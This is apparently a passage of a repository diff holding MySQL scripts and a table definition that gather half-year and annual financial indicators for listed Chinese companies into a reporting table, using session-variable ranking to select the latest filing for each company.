InfoSourceCode as InfoSource,
CompanyCode,
CashEquivalents,
AccountReceivable,
Inventories,
TotalFixedAsset,
TConstruInProcess,
GoodWill,
ShortTermLoan,
AccountsPayable,
ContractLiability,
LongtermLoan
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibbalancesheet a
where IfMerged =1
and EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t4
on t1.CompanyCode = t4.CompanyCode
left join
(
select
CompanyCode
,EndDate
,null as AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibincomestate a
where IfMerged =1
and EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t3
on t1.CompanyCode = t3.CompanyCode
;
SELECT * from third_quarter_external_data_tmp_pre where CompanyCode = '19767000';
SELECT * from third_measure_data where SecuCode like '000937%' and year = '2021' and report_type = '0';
SELECT * from lc_balancesheetall where CompanyCode = '171402' and IfMerged = '1';
SELECT * from lc_maindatanew where CompanyCode = '503' and EndDate like '%2021-12-31%' ;
SELECT * from secumain where SecuCode = '300432'
delete from third_measure_data where report_type
SELECT * from model_ip;

View File

@ -0,0 +1,63 @@
/*
Navicat Premium Data Transfer
Source Server : USM_financial_report@10.127.2.208_8f0a
Source Server Type : MySQL
Source Server Version : 80013
Source Host : 10.124.45.100:63306
Source Schema : financial_report_prod
Target Server Type : MySQL
Target Server Version : 80013
File Encoding : 65001
Date: 20/08/2025 22:20:40
*/
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for third_measure_data_copy1
-- ----------------------------
DROP TABLE IF EXISTS `third_measure_data_copy1`;
CREATE TABLE `third_measure_data_copy1` (
`year` varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '',
`report_type` int(1) NOT NULL DEFAULT 0,
`InnerCode` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`CompanyCode` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`SecuCode` varchar(6) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ChiName` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Infopubldate` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`InfoPublDate_end` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingReenue` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NPFromParentCompanyOwners` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetProfitCut` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetOperateCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetFinanceCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetInvestCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NonRecurringProfitLoss` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`BasicEPS` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`DilutedEPS` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`WROE` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`WROECut` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TotalAssets` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`CashEquivalents` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountReceivable` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Inventories` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TotalFixedAsset` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TConstruInProcess` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`GoodWill` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ShortTermLoan` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountsPayable` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ContractLiability` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`LongtermLoan` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountingStandards` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingCost` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AdministrationExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`FinancialExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`RAndD` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic;
SET FOREIGN_KEY_CHECKS = 1;

View File

@ -0,0 +1,226 @@
set @year = "2024";
SET @next_year = CAST(CAST(@year AS UNSIGNED) + 1 AS CHAR);
set @enddate = CONCAT(@year,"" ,"-6-30 00:00:00");
set @enddate_1 = CONCAT(@year,"" ,"-12-31 00:00:00");
set @InfoPublDate = CONCAT(@next_year,"" ,"-9-30 00:00:00");
-- 年报是0 半年报是1
set @report_type = 1;
drop table if exists third_quarter_external_data_tmp_pre;
create table third_quarter_external_data_tmp_pre
as
select distinct @year as year
,@report_type as report_type
,t1.*
,Infopubldate
,InfoPublDate_end
,OperatingReenue
,NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
,TotalAssets
,CashEquivalents
,AccountReceivable
,Inventories
,TotalFixedAsset
,TConstruInProcess
,GoodWill
,ShortTermLoan
,AccountsPayable
,ContractLiability
,LongtermLoan
,AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
select
InnerCode
,CompanyCode
,LPAD(SecuCode,6,'0') as SecuCode
,ChiName
from secumain s
where ListedState=1
and ListedSector in (1,2,6,7,8)
and SecuCategory in (1,41)
and SecuMarket in (18,83,90)
)t1
left join
(
select
CompanyCode
,Infopubldate
,OperatingReenue
,NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_maindatanew a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
and mark NOT IN (4, 5)
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t2
on t1.CompanyCode = t2.CompanyCode
left join
(
select
EndDate,
InfoSource,
CompanyCode
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_maindatanew a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
and mark NOT IN (4, 5)
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t5
on t1.CompanyCode = t5.CompanyCode
left join
(
select
CompanyCode,
TotalAssets
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_maindatanew a
where EndDate=@enddate_1 and InfoPublDate < @InfoPublDate
and mark NOT IN (4, 5)
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t6
on t1.CompanyCode = t6.CompanyCode
left join
(
select
EndDate,
InfoPublDate as InfoPublDate_end,
InfoSource,
CompanyCode,
CashEquivalents,
AccountReceivable,
Inventories,
TotalFixedAsset,
TConstruInProcess,
GoodWill,
ShortTermLoan,
AccountsPayable,
ContractLiability,
LongtermLoan
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_balancesheetall a
where IfMerged =1
and EndDate=@enddate_1 and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t4
on t1.CompanyCode = t4.CompanyCode
left join
(
select
CompanyCode
,EndDate
,AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM LC_IncomeStatementAll a
where IfMerged =1
and EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t3
on t1.CompanyCode = t3.CompanyCode
;
INSERT INTO third_measure_data SELECT * from third_quarter_external_data_tmp_pre;
select * from third_measure_data where year = 2024 and report_type = 1;

View File

@ -0,0 +1,271 @@
set @year = "2024";
SET @next_year = CAST(CAST(@year AS UNSIGNED) + 1 AS CHAR);
set @enddate = CONCAT(@year,"" ,"-6-30 00:00:00");
set @enddate_1 = CONCAT(@year,"" ,"-12-31 00:00:00");
set @InfoPublDate = CONCAT(@next_year,"" ,"-9-30 00:00:00");
-- 年报是0 半年报是1
set @report_type = 1;
-- set @year = "2024";
-- SET @next_year = CAST(CAST(@year AS UNSIGNED) + 2 AS CHAR);
-- set @enddate = CONCAT(@year,"" ,"-12-31 00:00:00");
-- set @enddate_1 = CONCAT(@year,"" ,"-12-31 00:00:00");
-- set @InfoPublDate = CONCAT(@next_year,"" ,"-4-30 00:00:00");
-- -- 年报是0 半年报是1
-- set @report_type = 0;
drop table if exists third_quarter_external_data_tmp_pre;
-- 创建表结构
CREATE TABLE `third_quarter_external_data_tmp_pre` (
`year` varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '',
`report_type` int(1) NOT NULL DEFAULT 0,
`InnerCode` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`CompanyCode` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`SecuCode` varchar(6) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ChiName` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Infopubldate` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`InfoPublDate_end` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingReenue` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NPFromParentCompanyOwners` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetProfitCut` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetOperateCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetFinanceCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetInvestCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NonRecurringProfitLoss` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`BasicEPS` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`DilutedEPS` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`WROE` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`WROECut` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TotalAssets` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`CashEquivalents` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountReceivable` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Inventories` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TotalFixedAsset` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TConstruInProcess` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`GoodWill` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ShortTermLoan` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountsPayable` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ContractLiability` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`LongtermLoan` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountingStandards` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingCost` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AdministrationExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`FinancialExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`RAndD` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic;
-- 插入数据
insert into third_quarter_external_data_tmp_pre
select distinct @year as year
,@report_type as report_type
,t1.*
,Infopubldate
,InfoPublDate_end
,OperatingReenue
,NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
,TotalAssets
,CashEquivalents
,AccountReceivable
,Inventories
,TotalFixedAsset
,TConstruInProcess
,GoodWill
,ShortTermLoan
,AccountsPayable
,ContractLiability
,LongtermLoan
,AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
select
InnerCode
,CompanyCode
,LPAD(SecuCode,6,'0') as SecuCode
,ChiName
from secumain s
where ListedState=1
and ListedSector in (1,2,6,7,8)
and SecuCategory in (1,41)
and SecuMarket in (18,83,90)
)t1
left join
(
select
CompanyCode
,Infopubldate
,OperatingReenue
,NPParComOwners as NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibmaindata a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=2
)t2
on t1.CompanyCode = t2.CompanyCode
left join
(
select
EndDate,
InfoSourceCode as InfoSource,
CompanyCode
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibmaindata a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=2
)t5
on t1.CompanyCode = t5.CompanyCode
left join
(
select
CompanyCode,
TotalAssets
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibmaindata a
where EndDate=@enddate_1 and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=2
)t6
on t1.CompanyCode = t6.CompanyCode
left join
(
select
EndDate,
InfoPublDate as InfoPublDate_end,
InfoSourceCode as InfoSource,
CompanyCode,
CashEquivalents,
AccountReceivable,
Inventories,
TotalFixedAsset,
TConstruInProcess,
GoodWill,
ShortTermLoan,
AccountsPayable,
ContractLiability,
LongtermLoan
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibbalancesheet a
where IfMerged =1
and EndDate=@enddate_1 and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=2
)t4
on t1.CompanyCode = t4.CompanyCode
left join
(
select
CompanyCode
,EndDate
,null as AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_stibincomestate a
where IfMerged =1
and EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=2
)t3
on t1.CompanyCode = t3.CompanyCode
;
INSERT INTO third_measure_data SELECT * from third_quarter_external_data_tmp_pre;
SELECT * from third_measure_data where year = 2024 and report_type = 1;

View File

@ -0,0 +1,266 @@
set @year = "2024";
SET @next_year = CAST(CAST(@year AS UNSIGNED) + 1 AS CHAR);
set @enddate = CONCAT(@year,"" ,"-6-30 00:00:00");
set @enddate_1 = CONCAT(@year,"" ,"-12-31 00:00:00");
set @InfoPublDate = CONCAT(@next_year,"" ,"-9-30 00:00:00");
-- 年报是0 半年报是1
set @report_type = 1;
drop table if exists third_quarter_external_data_tmp_pre;
-- 创建表结构
CREATE TABLE `third_quarter_external_data_tmp_pre` (
`year` varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '',
`report_type` int(1) NOT NULL DEFAULT 0,
`InnerCode` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`CompanyCode` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`SecuCode` varchar(6) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ChiName` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Infopubldate` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`InfoPublDate_end` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingReenue` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NPFromParentCompanyOwners` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetProfitCut` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetOperateCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetFinanceCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NetInvestCashFlow` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`NonRecurringProfitLoss` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`BasicEPS` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`DilutedEPS` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`WROE` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`WROECut` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TotalAssets` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`CashEquivalents` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountReceivable` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`Inventories` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TotalFixedAsset` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`TConstruInProcess` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`GoodWill` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ShortTermLoan` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountsPayable` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`ContractLiability` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`LongtermLoan` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AccountingStandards` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`OperatingCost` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`AdministrationExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`FinancialExpense` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`RAndD` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic;
-- 插入数据
insert into third_quarter_external_data_tmp_pre
select distinct @year as year
,@report_type as report_type
,t1.*
,Infopubldate
,InfoPublDate_end
,OperatingReenue
,NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
,TotalAssets
,CashEquivalents
,AccountReceivable
,Inventories
,TotalFixedAsset
,TConstruInProcess
,GoodWill
,ShortTermLoan
,AccountsPayable
,ContractLiability
,LongtermLoan
,AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
select
InnerCode
,CompanyCode
,LPAD(SecuCode,6,'0') as SecuCode
,ChiName
from secumain s
where ListedState=1
and ListedSector in (1,2,6,7,8)
and SecuCategory in (1,41)
and SecuMarket in (18,83,90)
)t1
left join
(
select
CompanyCode
,Infopubldate
,OperatingReenue
,NPFromParentCompanyOwners
,NetProfitCut
,NetOperateCashFlow
,NetFinanceCashFlow
,NetInvestCashFlow
,NonRecurringProfitLoss
,BasicEPS
,DilutedEPS
,WROE
,WROECut
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_maindatanew a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
and mark NOT IN (4, 5)
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t2
on t1.CompanyCode = t2.CompanyCode
left join
(
select
EndDate,
InfoSource,
CompanyCode
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_maindatanew a
where EndDate=@enddate and InfoPublDate < @InfoPublDate
and mark NOT IN (4, 5)
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t5
on t1.CompanyCode = t5.CompanyCode
left join
(
select
CompanyCode,
TotalAssets
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_maindatanew a
where EndDate=@enddate_1 and InfoPublDate < @InfoPublDate
and mark NOT IN (4, 5)
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t6
on t1.CompanyCode = t6.CompanyCode
left join
(
select
EndDate,
InfoPublDate as InfoPublDate_end,
InfoSource,
CompanyCode,
CashEquivalents,
AccountReceivable,
Inventories,
